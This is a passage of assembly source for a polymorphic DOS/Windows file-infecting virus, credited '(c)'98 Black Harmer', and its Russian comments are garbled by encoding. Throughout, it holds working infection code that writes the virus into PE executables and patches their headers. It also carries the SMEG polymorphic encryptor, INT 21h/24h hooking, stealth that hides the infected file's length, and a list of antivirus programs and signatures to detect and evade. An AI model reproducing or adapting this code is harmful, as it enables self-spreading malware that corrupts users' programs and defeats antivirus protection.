        mov      ecx,dword ptr ds:[PE_EXE_header-virus+38h] ;OBJECT ALIGN
        div      ecx
        inc      eax
        mul      ecx
        mov      dword ptr ds:[WIN_object-virus+8h],eax
        ;--------------------------------------------------------------------
        ;p㥬 PHYSICAL SIZE of Object
        xor      edx,edx
        mov      eax,dword ptr ds:[WIN_object-virus+10h]   ;PHYS SIZE
        add      eax,offset(end_win_virus-begin_win_virus+50h+endvirus-virus+size common_buffer)
        mov      ecx,dword ptr ds:[PE_EXE_header-virus+3ch];FILE ALIGN
        div      ecx
        inc      eax
        mul      ecx
        mov      dword ptr ds:[WIN_object-virus+10h],eax
        ;-------------------------------------------------------------------
        ;p㥬 IMAGE SIZE
        mov      eax,dword ptr ds:[WIN_object-virus+0ch]    ;RVA OBJECT
        add      eax,dword ptr ds:[WIN_object-virus+8h]     ;VIRTUAL SIZE
        mov      dword ptr ds:[PE_EXE_header-virus+50h],eax ;IMAGE SIZE
        ;--------------------------------------------------------------------
        mov      dword ptr ds:[WIN_object-virus+24h],0e0000040h
        ;--------------------------------------------------------------------
.286
        xor      cx,cx
        mov      dx,ds:[PE_EXE_header_point-virus]
        call     set_lseek_begin_pluscxdx
        mov      cx,60h
        mov      dx,offset(PE_EXE_header-virus)
        call     write_to_file_through_handle
        xor      cx,cx
        mov      dx,word ptr ds:[obj_point-virus]
        call     set_lseek_begin_pluscxdx
        mov      cx,40d
        mov      dx,offset(WIN_object-virus)
        call     write_to_file_through_handle
        pop      cx
        pop      dx
        call     set_lseek_begin_pluscxdx
        mov      cx,offset(end_win_virus-begin_win_virus)
        mov      dx,offset(begin_win_virus-virus)
        call     write_to_file_through_handle ;襬 32'  
        mov      cx,50h ;32'  㫥  㤥 ᯮ짮 
                        ;p
        call     write_to_file_through_handle
        mov      ax,offset(antivirus_break_block_end-antivirus_break_block+100h)
        call     crypt_virus_and_write_to_current ;襬 p   
        jmp      set_time_of_file_and_exit
; 쭮   pp 
;pp ⥪p 䠩 (c)'98 Black Harmer
;ᯮ pᠬ  p  䠩  p, 
; .
;室:  DS:DX - 㪠뢠  p  p: ":\\ 䠩",0
;         p pp call_int_21,    ⠪
;       ᮤp:
;       call_int_21 proc near
;       int   21h
;       retn
;       call_int_21 endp
;室: p ᠭ  p:
;       1) filename
;       2) extention
;       3) filemask
include asciiz.asm
;
;pp p⪨ 砩 ᥫ
;室:  call random_any_ax (p稢  砩 ᫮  AX)
;       call random_ax ( 室 㦥 AX,  室 0<NEW_AX<=OLD_AX)
;室:  call random_any_dx (p稢  砩 ᫮  DX)
;       call random_dx ( 室 㦥 DX,  室 0<NEW_DX<=OLD_DX)
include random.asm
;
;⥫ pp騪 ⨯ SMEG
;室: call smeg
;室 pp:
include smeg.asm
;
;pp:  ds   p cs
;ᯮ: ds:[targetptr-virus]    - 㤠 㤥 ᪫뢠 p
;            ds:[sourceptr-virus]    - ᬥ饭  㤠  p
;            ds:[datasize-virus]     - pp 
;            ds:[cryptval-virus]     -  p ( 㤥 p)
; pp ᫥ 室 p
include encrypt.asm
;
;p/pp 
include endeb.asm
;
;室: AX - Initial IP
crypt_virus_and_write_to_current:
        push_all_register
        mov      di,offset(buffer_for_SMEG_decryptor-virus)
        mov      cx,size buffer_for_SMEG_decryptor
@@clearing:
        mov      byte ptr ds:[di],0
        inc      di
        loop     @@clearing
        jmp      write_smeg_to_current
;
;室: AX - Initial IP
crypt_virus_and_write_to_end:
        push_all_register
        ;p⠥  p   䠩
        push     ax
        call     set_lseek_end ;VERY NEED
        sub      ax,size buffer_for_SMEG_decryptor ;
        sbb      dx,0
        mov      cx,dx
        mov      dx,ax
        call     set_lseek_begin_pluscxdx
        mov      cx,size buffer_for_SMEG_decryptor ;
        mov      dx,offset(buffer_for_SMEG_decryptor-virus)
        call     read_file_through_handle
        call     set_lseek_end
        ; pp騪
        pop      ax
write_smeg_to_current:
        mov      di,offset(buffer_for_SMEG_decryptor-virus)
        xor      dx,dx
        mov      cx,offset(endvirus-virus)
        call     SMEG
        ;H 室: DS=CS, BP p
        ;⠫ pp 㡨
        mov      cx,offset(antivirus_break_block_end-antivirus_break_block)
        mov      dx,offset(antivirus_break_block-virus)
        call     write_to_file_through_handle ;⥫ 㦥  
        mov      cx,ds:[decryptor_size-virus]
        mov      dx,offset(buffer_for_SMEG_decryptor-virus)
        call     write_to_file_through_handle ;⥫ 㦥  
        mov      ds:[targetptr-virus],offset(buffer_for_crypted_virus-virus)
        call     encrypt
        mov      cx,ds:[datasize-virus]
        mov      dx,offset(buffer_for_crypted_virus-virus)
        call     write_to_file_through_handle
        mov      cx,size buffer_for_SMEG_decryptor   ;
        sub      cx,ds:[decryptor_size-virus]
        jc       pop_all_reg_and_retn
        mov      dx,offset(buffer_for_SMEG_decryptor-virus)
        add      dx,ds:[decryptor_size-virus]
        call     write_to_file_through_handle
        jmp      pop_all_reg_and_retn
;
antivirus_break_block:
        push_all_register
        mov      ah,2
        mov      dl,40h
        int      21h
antivirus_break_block_end:
;
begin_win_virus:
include wv32\wv32.dat
        db       68h     ; 6h
RVA_sub dd       0
        retn
end_win_virus:
;
;pp p⪨ 21- pp뢠  ⥫ 䠩
call_int_21_with_use_handle:
        push     bx
place_of_handle:
        mov      bx,0100h
        call     call_int_21
        pop      bx
        retn
;
;pp p⪨ 21- pp뢠.
call_int_21:
        pushf
        cli
place_of_int21:
        db       09ah,00,00,00,00 ;Call 0000:0000
        retn
;
;訡筠  㭪
wrong_dos_function:
        mov      al,03h
        iret
;
; pp ᪠p .
; 室:  ES:DI 㤠 ᪠p Hpp: B800:0001
;        CX ᪮쪮  ᪠p ()
;        BX 蠣 ᪠p (BX=1 -  ⭮
;                             BX=2 - p )
;        DS:[SI] - p  p 5,'⥫' -  ᪠
;         p  㯮p ᨬ "*", p
;        祥   ⮬    
;        ᨬ.
; 室: CF=0 ᫨  諨
;        ES:DI -  ᥪ p 㪢 ᫨ CF=1
;
scan_mem_call:
        push_all_register
        xor      cx,cx
        mov      cl,[si]
        xor      ax,ax
Gtmp2:  mov      al,[si+1]
        cmp      al,'*'
        jz       Gtmp30
        cmp      es:[di],al
        jnz      Gtmp1
Gtmp30: add      di,bx
        inc      si
        loop     Gtmp2
        pop_all_register
        stc
        retn
Gtmp1:  pop_all_register
        add      di,bx
        loop     scan_mem_call
        clc
        retn
;
set_dses_cs:
        push     cs cs
        pop      es ds
        retn
;
; ⠢  24- pp뢠 ;
set_our_int_24:
        push_all_register
        push     cs
        pop      ds   ;DS=CS
        mov      ax,3524h
        call     call_int_21
        mov      word ptr ds:[old_int_24_low-virus+1],bx
        mov      word ptr ds:[old_int_24_high-virus+1],es
        mov      ax,2524h
        mov      dx,offset(wrong_dos_function-virus)
        call     call_int_21
        jmp      pop_all_reg_and_retn
;
; ⠢ p 24- pp뢠   ;
set_old_int_24:
        push_all_register
        mov      ax,2524h
old_int_24_low:
        mov      dx,0000h
old_int_24_high:
        mov      bx,0000h
        mov      ds,bx
        call     call_int_21
        jmp      pop_all_reg_and_retn
;
check_on_allredy_virused_with_take_time:
        mov      ax,5700h
        call     call_int_21_with_use_handle
        mov      bx,offset(time_date_of_file-virus)
        mov      word ptr cs:[bx],cx
        mov      word ptr cs:[bx+2],dx
check_on_allredy_virused:
        push     dx cx
        mov      ax,es:[bx+02]
        mov      dx,es:[bx]         ; p⭮ 砩 ᮢ
                                    ; p 0.005. ⠭ pp Adinf
                                    ;  p ᪠  pᮢ.
                                    ;  1678 䠩  p   祬
                                    ;   8 䠩.
        and      dl,0e0h
        add      ax,dx
        add      ax,03
        xor      dx,dx
        mov      cx,1dh
        div      cx
        mov      ax,es:[bx]
        and      al,1fh
        cmp      al,dl
        stc
        jz       Ltmp40
        mov      ax,es:[bx]
        and      ax,0ffe0h
        or       al,dl
        clc
Ltmp40:
        pop      cx dx
        retn
;
; pp  䠩   p  祩 
;室: DS:DX -  䠩 Asciiz
;室:  p  ⮣ 䠩,  p   ᮮ⢥饬 
void_atr:
        mov      ax,4300h       ;  ⥪騩 p 䠩
        call     call_int_21
        jc       void_atr_failed
        mov      word ptr cs:[cell_of_atr-virus+1],cx
        mov      ax,4301h       ; ⠢ p 0
        xor      cx,cx
        call     call_int_21
void_atr_failed:
        retn
set_old_atr:
        mov      ax,4301h       ; ⠭ p p 䠩
cell_of_atr:
        mov      cx,0100h
        jmp      call_int_21_with_use_handle
write_to_file_through_handle:
        mov      ah,40h
        jmp      call_int_21_with_use_handle
read_file_through_handle:
        mov      ah,3fh
        jmp      call_int_21_with_use_handle
set_lseek_begin:
        xor      cx,cx
        xor      dx,dx
set_lseek_begin_pluscxdx:
        mov      ax,4200h
        jmp      call_int_21_with_use_handle
set_lseek_curent_pluscxdx:
        mov      ax,4201h
        jmp      call_int_21_with_use_handle
set_lseek_end:
        xor      cx,cx
        xor      dx,dx
set_lseek_end_pluscxdx:
        mov      ax,4202h
        jmp      call_int_21_with_use_handle
set_time_of_file:
        mov      ax,5701h
        mov      cx,word ptr cs:[time_date_of_file-virus]
        mov      dx,word ptr cs:[time_date_of_file-virus+2]
        jmp      call_int_21_with_use_handle
close_file_handle:
        mov      ah,3eh
        jmp      call_int_21_with_use_handle
;
;室 : ES:BX
length_virus_on_file=(endvirus-virus+antivirus_break_block_end-antivirus_break_block+size buffer_for_SMEG_decryptor) ;
give_length_without_virus:
        sub      word ptr es:[bx],length_virus_on_file
        sbb      word ptr es:[bx+2],0
        jnc      give_length_without_virus_work_successfuly
        add      word ptr es:[bx],length_virus_on_file
        adc      word ptr es:[bx+2],0
give_length_without_virus_work_successfuly:
        retn
;
; 㤥 p   "   室 ⨢ p"
; p⨢ Adinf  p ᪠ ⥫ pᮢ
; p INT 21  manager'
anti_mem:
; H 室 㦭  DS:DX - p p ASCIIZ   䠩
;                    ES:BX - p EPB ( pp EXEC)
        call     set_old_int_24     ; ⠢ p 24 뢠
        ;p INT21   (⮣ DrWeb p )   
        ;pᬮp  ⠪ p ᮡ⨩ ;)
        push_all_register
        zero_ds
        les      ax,dword ptr cs:[place_of_int21-virus+1]
        mov      ds:[21h*4],ax
        mov      ds:[21h*4+2],es
        mov      byte ptr ds:[manager_idle_flag-begin_manager+address_of_manager_in_memory],1
        pop_all_register
        popf
        jmp      dword ptr cs:[place_of_int21-virus+1]
; END 
endvirus:
;
dataarea_for_SMEG:
datasize                  dw ?       ; 00h length of data to crypt
sourceptr                 dw ?       ; 02h pointer to data to crypt
targetptr                 dw ?       ; 04h pointer of where to put crypted data
                          db ?       ; 06h reg0 encryption value
                          db ?       ; 07h reg1 counter register
                          db ?       ; 08h reg2 temporary storage for data to be decrypted
                          db ?       ; 09h reg3
                          db ?       ; 0Ah reg4 (always BP)
                          db ?       ; 0Bh reg5
                          db ?       ; 0Ch reg6
                          db ?       ; 0Dh reg7 pointer register
cryptval                  db ?       ; 0Eh encryption value
ptr_offsets               dw ?       ; 0Fh XXXX in [bx+XXXX] memory references
loop_top                  dw ?       ; 11h points to top of decryption loop
pointer_patch             dw ?       ; 13h points to initialisation of pointer
counter_patch             dw ?       ; 15h points to initialisation of counter
pointer_fixup             dw ?       ; 17h needed for pointer calculation
crypt_type                db ?       ; 19h how is it encrypted?
initialIP                 dw ?       ; 1Ah IP at start of decryptor
cJMP_patch                dw ?       ; 1Ch conditional jmp patch
CALL_patch                dw ?       ; 1Eh CALL patch
nJMP_patch                dw ?       ; 20h near JMP patch
decryptor_size            dw ?       ; 22h size of decryptor
last_CALL                 dw ?       ; 24h location of an old CALL patch location
which_tbl                 dw ?       ; 26h which table to use
;
; Win 쥪
WIN_object                db 40d  dup (?)
;H 
new_first_1c_byte         db 1ch  dup (?)
;PE 
PE_EXE_header             db 60h  dup (?)
;騩 
common_buffer             db 100h dup (?)
;⠫ 
obj_point                 dw ?
PE_EXE_header_point       dw ?
;p  TIME(DW), ⮬ DATE(DW)
time_date_of_file         dd ?
;  ᮧ SMEG_Decryptor'
buffer_for_SMEG_decryptor db 600h dup (?)
;p  ஢ 
buffer_for_crypted_virus  db offset(endvirus-virus) dup (?)
.errnz ($-virus) GT 4000H ;᫨   ࠧ  ࠧ  祬 16K
;
endvirus_in_memory:
end start
[POWERFUL.ASM]
[MACRO.INC]
; Macro Ŀ
push_all_register MACRO                                       ;
        pusha                                                 ;
        push      es ds                                       ;
        endm                                                  ;
pop_all_register  MACRO                                       ;
        pop       ds es                                       ;
        popa                                                  ;
        endm                                                  ;
push_all_register_withf MACRO                                 ;
        pusha                                                 ;
        pushf                                                 ;
        push      es ds                                       ;
        endm                                                  ;
pop_all_register_withf  MACRO                                 ;
        pop       ds es                                       ;
        popf                                                  ;
        popa                                                  ;
        endm                                                  ;
zero_ds MACRO                                                 ;
        push     0000h                                        ;
        pop      ds                                           ;
        endm                                                  ;
zero_es MACRO                                                 ;
        push     0000h                                        ;
        pop      es                                           ;
        endm                                                  ;
set_ds_BC00 MACRO                                             ;
        push     0bc00h                                       ;
        pop      ds                                           ;
        endm                                                  ;
set_es_BC00 MACRO                                             ;
        push     0bc00h                                       ;
        pop      es                                           ;
        endm                                                  ;
;
[MACRO.INC]
[ASCIIZ.ASM]
;
;pp ⥪p 䠩 (c)'98 Black Harmer
;ᯮ pᠬ  p  䠩  p, 
; .
;室:  DS:DX - 㪠뢠  p  p: ":\\ 䠩",0
;         p pp call_int_21,    ⠪
;       ᮤp:
;       call_int_21 proc near
;       int   21h
;       retn
;       call_int_21 endp
;室: p ᠭ  p:
;       1) filename
;       2) extention
;       3) filemask
;͸
filename db 0                                                  ;
;0, ᫨     p FILENAMES  ᮢ.          ;
; p p ᮢ襣 .                          ;
;Hpp ᫨ 室 DS:DX 㪠뢠  'D:\AVP.EXE',      ;
; 室  pp filename 㤥 p 1.             ;
;Ĵ
;p p  䠩:                                   ;
;1) p ⮬   . pp 4,'ABCD'           ;
;2) ⮬ ᠬ  (訬 㪢)                          ;
;3)  . p㣨                                          ;
;4) p祭  稢 ⮬ 0ffh                  ;
filenames:                                                     ;
        ;⨢p                                            ;
        db       07,'AVP.EXE'                                  ;
        db       09,'DRWEB.EXE'                                ;
        db       09,'ADINF.EXE'                                ;
        db       11,'NAVBOOT.EXE'                              ;
        db       12,'AIDSTEST.EXE'                             ;
        ;⥬ 䠩                                       ;
        db       11,'COMMAND.COM'                              ;
        db       07,'WIN.COM'                                  ;
        db       12,'CONAGENT.EXE'                             ;
        db       11,'WININIT.EXE'                              ;
        db       09,'START.EXE'                                ;
        db       0ffh ; - p                         ;
;͵
extention db 4                                                 ;
;0, ᫨   pp  p extentions  ᮢ.  ;
; p p ᮢ襣 pp.                     ;
;Hpp, ᫨ 室 DS:DX 㪠뢠  'D:\AVP.EXE',     ;
; 室  pp extention 㤥 p 3.            ;
;Ĵ
;. p p  䠩                                ;
extentions:                                                    ;
        db       04,'COM',0                                    ;
        db       04,'SYS',0                                    ;
        db       04,'EXE',0                                    ;
        db       0ffh  ; - p                        ;
;͵
;  砥, ᫨ extention=0, ᪨  pp     ;
filemask         db 0                                          ;
;0, ᫨   ᪠  p filemasks  ᮢ.        ;
; p p ᮢ襩 ᪨.                           ;
mask_buffer      db 07h dup (0)                                ;
; p p  ᨬ쭮 ᪨         ;
;Ĵ
;ଠ:                                                        
;1)  ᬥ饭 ᪨ (   祭 0XXFFh)       
;2)  ᪨ 0-0EFh  祢 ᨬ ᫨ 0F0h-0FFh      
;   0F0h - 饭    䠩                      
;   0F1h - 饭   䠩  1)                      
;3) ᪠:                                                      
;   a)   '?' -  ᫮                                
;   b)   '*' -                                   
;4) p祭  稢 ᨬ 0ffh                 
;Ĵ
filemasks:                                   ;                 
        dw       07h                         ; DrWeb           
        db       0f0h,7                      ; AllVersion      
        db       'DrW?.??'                   ;                 
;Ĵ
        dw       040h                        ; DrWeb           
        db       05h                         ; v3.24-v3.27     
        db       08h,0,0f3h,0a5h,4bh         ; v4.0            
;Ĵ
        dw       027                         ; Adinf           
        db       6                           ; AllVersion      
        db       00,'????',0ffh              ;                 
;Ĵ
        dw       3ch                         ; Windows 95-98   
        db       0f1h,2                      ; 32'bit prot     
        db       'PE'                        ;                 
;Ĵ
        dw       3ch                         ; Windows 3.x     
        db       0f1h,2                      ; 16'bit prot     
        db       'NE'                        ;                 
;Ĵ
        dw       3ch                         ; Windows 95-98   
        db       0f1h,2                      ; LE files        
        db       'LE'                        ;                 
;Ĵ
        db       0ffh ; - p       ;                 
;
Asciiz proc near
        pusha
        push     es ds dx
        call     initial_offset_Asciiz
initial_offset_Asciiz:
        pop      bp
        sub      bp,offset(initial_offset_Asciiz-Asciiz)
        ; 砫 ⤥  䠩  
        mov      si,dx
        push     ds
        pop      es
        mov      di,dx
        mov      cx,80h
set_bx_to_name:
        mov      bx,si
scan_name:
        lodsb    ;DS:[SI] (":\\ 䠩",0)-> AL
        call     al_to_big_letter
        stosb    ;AL -> ES:[DI]
        cmp      al,'\'
        jz       set_bx_to_name
        cmp      al,'/'
        jz       set_bx_to_name
        cmp      al,':'
        jz       set_bx_to_name
        or       al,al
        jz       filenames_check
        loop     scan_name
;
;pp  p 
filenames_check:
        mov      si,bx
        push     cs
        pop      es
        lea      di,[bp+filenames-Asciiz]
       ;pp p  p  ᪮쪨 p㣨  
       ;室: DS:[SI] p  p 㤥 p p p
       ;      ES:[DI]  p  p:
       ;      db  6,'sergey'
       ;      db  5,'misha'
       ;      db  0ffh  - p 
       ;室: AX==0  -  ᮢ
       ;       AX!=0 - p ᮢ襩 p 稭  1'
        call     cmps_string_with_databasestring
        mov      byte ptr cs:[bp+filename-Asciiz],al
;
;pp  p pp
check_file_extention:
seach_point:
        lodsb    ;DS:[SI]
        cmp      al,'.'
        jz       point_found
        or       al,al
        jnz      seach_point
point_found:
        lea      di,[bp+extentions-Asciiz]
        call     cmps_string_with_databasestring
        mov      byte ptr cs:[bp+extention-Asciiz],al
        or       al,al
        jnz      check_filemask
        pop      dx
        jmp      set_filemask_zero_exit
;
;pp  p ᮪
check_filemask:
        pop      dx
        pop      ds
        push     ds
        mov      ax,3d00h ;p ⥫  ⥭
        call     call_int_21
        jc       set_filemask_zero_exit
        push     cs
        pop      ds
        lea      si,[bp+filemasks-Asciiz]
        mov      bx,ax
        mov      byte ptr cs:[bp+filemask-Asciiz],1
next_mask:
        cmp      byte ptr [si],0ffh
        jz       close_file_set_filemask_zero_exit
        cmp      byte ptr [si+2],0f0h
        jnz      no_from_end
        xor      cx,cx
        xor      dx,dx
        mov      ax,4202h
        call     call_int_21
        sub      ax,[si]
        inc      si
        mov      cx,dx
        mov      dx,ax
        mov      ax,4200h
        call     call_int_21
        jmp      read_and_check_mask
no_from_end:
        cmp      byte ptr [si+2],0f1h
        jnz      no_win_check
        xor      cx,cx
        mov      dx,[si]
        inc      si
        mov      ax,4200h
        call     call_int_21
        lea      dx,[bp+mask_buffer-Asciiz]
        mov      cl,2
        mov      ah,3fh
        call     call_int_21
        xor      cx,cx
        mov      dx,word ptr cs:[bp+mask_buffer-Asciiz]
        mov      ax,4200h
        call     call_int_21
        jmp      read_and_check_mask
no_win_check:
        xor      cx,cx
        mov      dx,word ptr [si]
        mov      ax,4200h
        call     call_int_21
        ;⠥   pp塞 
read_and_check_mask:
        lea      dx,[bp+mask_buffer-Asciiz]
        xor      cx,cx
        mov      cl,[si+2]
        mov      ah,3fh
        call     call_int_21
        add      si,3
        push     si
        mov      di,dx
next_letter_of_mask:
        cmp      byte ptr [si],'*'
        jz       next_letter
        cmp      byte ptr [si],'?'
        jnz      letter_is_not_q
        cmp      byte ptr [di],30h
        jl       mask_failed
        cmp      byte ptr [di],39h
        jg       mask_failed
next_letter:
        inc      si
        inc      di
        loop     next_letter_of_mask
        jmp      mask_coincide
letter_is_not_q:
        cmpsb            ;p DS:[SI]  ES:[DI]
        jnz      mask_failed
        loop     next_letter_of_mask
        ; ᪠
mask_coincide:
        pop      si
        mov      ah,3eh
        call     call_int_21
        jmp      exit_Asciiz
        ;᪠  ᮢ
mask_failed:
        pop      si
        xor      cx,cx
        mov      cl,ds:[si-1]
        add      si,cx
        inc      byte ptr cs:[bp+filemask-Asciiz]
        jmp      next_mask
close_file_set_filemask_zero_exit:
        mov      ah,3eh
        call     call_int_21
set_filemask_zero_exit:
        mov      byte ptr cs:[bp+filemask-Asciiz],0
exit_Asciiz:
        pop      ds es
        popa
        retn
asciiz endp
;
;pp p  p  ᪮쪨 p㣨  
;室: DS:[SI] p  p 㤥 p p p
;      ES:[DI]  p  p:
;      db  6,'sergey'
;      db  5,'misha'
;      db  0ffh  - p 
;室: AX==0 - ᮢ 
;       AX!=0 - p ᮢ襩 p
cmps_string_with_databasestring proc near
        push     di cx
        cld
        xor      cx,cx
        mov      ax,01h
next_string:
        push     si di
        mov      cl,es:[di]
        cmp      cl,0ffh
        jz       no_coincide_string
        inc      di
        rep      cmpsb   ; p DS:[SI]  ES:[DI]
        pop      di si
        jz       coincide_string
        mov      cl,es:[di]
        add      di,cx
        inc      di
        inc      ax
        jmp      next_string
coincide_string:
        pop      cx di
        retn
no_coincide_string:
        pop      di si cx di
        xor      ax,ax
        retn
cmps_string_with_databasestring endp
;
al_to_big_letter:
        cmp      al,61h ;pp  訥 㪢
        jc       this_is_not_bigletter
        cmp      al,7ah
        ja       this_is_not_bigletter
        sub      al,20h
this_is_not_bigletter:
        retn
;
[ASCIIZ.ASM]
[RANDOM.ASM]
;
; pp p⪨ 砩 ᫠
; 室:  OLD_AX
; 室: 0<=NEW_AX<=OLD_AX
random_any_ax:
        mov      ax,0fffeh
random_ax:
        xchg     ax,dx
        call     random_dx
        xchg     ax,dx
        retn
;
; pp p⪨ 砩 ᫠
; 室:  OLD_DX
; 室: 0<=NEW_DX<=OLD_DX
random_any_dx:
        mov      dx,0fffeh
random_dx:
        push     ax bx dx
        call     init_rnd_proc
cell_for_rnd_number dw 0100h
init_rnd_proc:
        pop      bx
        imul     ax,word ptr cs:[bx],4dh
        inc      ax
        mov      word ptr cs:[bx],ax
        pop      bx
        inc      bx
        or       bx,bx
        jz       quit_from_rnd
        xor      dx,dx
        div      bx   ;DX:AX / BX  -> AX:DX
quit_from_rnd:
        pop      bx ax
        retn
;
[RANDOM.ASM]
[SMEG.ASM]
;
SMEG:
        mov      bx,offset(dataarea_for_SMEG-virus)
        mov      ds:[bx+datasize-dataarea_for_SMEG],cx    ; save length to crypt
        mov      ds:[bx+sourceptr-dataarea_for_SMEG],dx   ; save offset to data to crypt
        mov      ds:[bx+targetptr-dataarea_for_SMEG],di   ; save offset to where to put crypted stuff
        add      bx,6
        mov      cx,28h-6h              ; clear the work area with 0's
        push     bx
clear_dataarea:
        mov      [bx],ch
        inc      bx
        loop     clear_dataarea
        ;--------------
        mov      ds:[initialIP-virus],ax       ; store initial IP
        mov      bx,offset(use_regs_tbl-virus)
        mov      ax,23d
        call     random_ax
        xlat     ;AL=[BX+AL]
        pop      bx
        mov      cx,4h
fill_registers:
        xor      dl,dl                   ; fill in which registers
        rcl      al,1                    ; do which job
        rcl      dl,1
        rcl      al,1
        rcl      dl,1
        mov      [bx],dl
        inc      bx
        loop     fill_registers

        mov      byte ptr [bx],5         ; use BP as a garbling register
        inc      bx
        inc      bx
        mov      dx,1h
        call     random_dx
        add      dl,6h
        mov      [bx],dl                 ; register
        xor      dl,1                    ; flip to the other one
        cmp      byte ptr [bx-3],3       ; is it BX?
        jne      is_not_bx
        mov      [bx-3],dl
        mov      dl,3
is_not_bx:
        mov      [bx+1],dl
        mov      dl,[bx-3]
        mov      [bx-1],dl
gen_cryptval:
        call     random_any_dx
        or       dl,dl
        jz       gen_cryptval
        mov      ds:[cryptval-virus],dl        ; store encryption value

        call     random_any_dx           ; get a random value for the
        inc      dx                      ; offset of memory references,
        mov      ds:[ptr_offsets-virus],dx     ; i.e. the XXXX in [bp+XXXX]

        mov      dx,3h
        call     random_dx               ; do the following from
        add      dx,3h                   ; 3..7 times
        xchg     cx,dx
begin_garble:
        push     cx
        call     garble_more
        call     random_ax
        cmp      al,8Ch
        jbe      no_int21
        mov      ax,(number_of_fnc21-1)
        call     random_ax
        add      ax,offset(int21fcns-virus)
        xchg     si,ax
        mov      ah,0B4h
        lodsb
        xchg     ah,al
        stosw    ;AX -> DS:SI
        mov      ax,21CDh
        stosw    ;AX -> DS:SI
no_int21:
        pop      cx
        loop     begin_garble
        mov      al,0E8h
        stosb
        push     di                      ; write garbage for offset
        stosw                            ; of call for now
        call     garble_more             ; encode some garbage
        mov      al,0E9h                 ; encode a JMP
        stosb
        pop      bx
        push     di
        stosw
        push     di
        pop      ax
        dec      ax
        dec      ax
        sub      ax,bx
        mov      [bx],ax                 ; patch CALL to point to
                                         ; space past the JMP where we
        call     garble_more             ; encode a garbage subroutine
        mov      al,0C3h                 ; encode a RETN
        stosb
        pop      bx
        push     di
        pop      ax
        dec      ax
        dec      ax
        sub      ax,bx
        mov      [bx],ax                 ; Make JMP go past subroutine
        call     encode_routine          ; encode the routine!
        mov      si,offset(dataarea_for_SMEG-virus+8)
                                         ; default to using data temp
                                         ; storage register to return
                                         ; to top of loop
        and      al,al                   ; check return code of routine
        jnz      how_to_top
        dec      si                      ; if 0, instead use encryption
        dec      si                      ; value register to return
how_to_top:
        mov      al,75h                  ; encode JNZ
        stosb
        inc      di
        push     di
        call     garble_some
        pop      bx
        mov      al,0E9h                ; encode a JMP
        stosb
        push     di
        inc      di                      ; skip the offset for now
        inc      di
        mov      ax,di
        sub      ax,bx
        mov      [bx-1],al               ; patch the JNZ
        call     garble_some
        call     random_any_ax
        and      ax,3                    ; first entry requires
        add      ax,ax                   ; no register setup, so
        jz       no_setup                ; jmp past it
        push     ax
        mov      al,0B8h
        or       al,[si]                 ; MOV word-reg, XXXX
        stosb
        mov      ax,ds:[loop_top-virus]
        sub      ax,ds:[targetptr-virus]
        add      ax,ds:[initialIP-virus]
        stosw
        call     garble_some
        pop      ax
no_setup:
        add      ax,offset(jmp_table-virus)
        xchg     bx,ax
        mov      bx,[bx]
        call     bx                      ; encode method of returning
        stosw    ;AX->DS:[DI]            ; to the top of the loop
        pop      bx
        mov      ax,di
        sub      ax,bx
        dec      ax
        dec      ax
        mov      [bx],ax
        call     garble_more
pad_paragraph:
        mov      ax,di                   ; pad the decryptor out to the
        sub      ax,ds:[targetptr-virus]       ; nearest paragraph
        and      al,0Fh                  ; do we need to?
        jz       padded                  ; no, we are done
        cmp      al,0Ch                  ; otherwise, still a lot to go?
        ja       one_byte_pad            ; no, do one byte at a time
        call     not_branch_garble       ; else do a nonbranching
        jmp      short pad_paragraph     ; instruction
one_byte_pad:
        call     random_any_ax           ; do a random one byte padding
        call     do_one_byte             ; instruction
        jmp      short pad_paragraph
padded:
        mov      bx,offset(dataarea_for_SMEG-virus)
        mov      ax,di
        sub      ax,ds:[bx+targetptr-dataarea_for_SMEG]
        mov      ds:[bx+decryptor_size-dataarea_for_SMEG],ax
        add      ax,ds:[bx+initialIP-dataarea_for_SMEG]
        mov      cx,ds:[bx+pointer_fixup-dataarea_for_SMEG]
        sub      ax,cx
        mov      bx,ds:[bx+pointer_patch-dataarea_for_SMEG]
        mov      [bx],ax
        mov      bl,ds:[crypt_type-virus]      ; get encryption type so
        mov      cl,3                    ; the initial value of the
        ror      bl,cl                   ; counter can be calculated
        and      bx,0Fh
        add      bx,offset(counter_init_table-virus)
        mov      ax,ds:[datasize-virus]
        mov      bx,[bx]
        call     bx
        mov      bx,ds:[counter_patch-virus]   ; patch the value of the
        mov      [bx],ax                 ; counter as needed
        retn
;
write_table:
        dw       offset(write_nothing-virus)
        dw       offset(write_cryptval-virus)
        dw       offset(write_pointer_patch-virus)
        dw       offset(write_counter_patch-virus)
        dw       offset(write_ptr_offset-virus)
        dw       offset(write_dl-virus)
;
; In the following table, each pair of bits represents a register
; in standard Intel format, i.e. 00 = ax, 01 = cx, 10 = dx, 11 = bx
use_regs_tbl:
        db       00011011b ; ax cx dx bx
        db       11000110b ; bx ax cx dx
        db       10110001b ; dx bx ax cx
        db       01101100b ; cx dx bx ax
        db       11100100b ; bx dx cx ax
        db       00111001b ; ax bx dx cx
        db       01001110b ; cx ax bx dx
        db       10010011b ; dx cx ax bx
        db       01001011b ; cx ax dx bx
        db       11010010b ; bx cx ax dx
        db       10110100b ; dx bx cx ax
        db       00101101b ; ax dx cx bx
        db       11100001b ; bx dx ax cx
        db       01111000b ; cx bx dx ax
        db       00011110b ; ax cx bx dx
        db       10000111b ; dx ax cx bx
        db       00100111b ; ax dx cx bx
        db       11001001b ; bx ax dx cx
        db       01110010b ; cx bx ax dx
        db       10011100b ; dx cx bx ax
        db       11011000b ; dx ax bx cx
        db       00110110b ; ax bx cx dx
        db       10001101b ; bx cx dx ax
        db       01100011b ; cx dx ax bx
;
onebyte_table:
        dec      ax
        inc      ax
        clc
        cld
        cmc
        stc
        inc      ax
        dec      ax
;
; high byte holds the opcode, low byte holds the second byte of the
; instruction, i.e. holds the reg/mod, etc. the bottom 2 bits of the low
; byte hold the maximum amount to add to the high byte in creating the
; instruction. This allows one word to generate more than one instruction,
; including the byte or word forms of the instructions
; note that this is reverse of what will be actually stored
garble_table:
        dw       80F1h   ;  XOR reg, XXXX
        dw       3201h   ;  XOR reg, [reg]
        dw      0F6C1h   ; TEST reg, XXXX
        dw       8405h   ; TEST/XCHG reg, [reg]
        dw       80E9h   ;  SUB reg, XXXX        (2 diff encodings)
        dw       2A01h   ;  SUB reg, [reg]
        dw      0D0EBh   ;  SHR reg, 1
        dw       1A01h   ;  SBB reg, [reg]
        dw       80D9h   ;  SBB reg, XXXX
        dw       80D1h   ;  ADC reg, XXXX
        dw      0D0FBh   ;  SAR reg, 1/CL
        dw      0D0E3h   ;  SHL reg, 1/CL
        dw      0D0CBh   ;  ROR reg, 1/CL
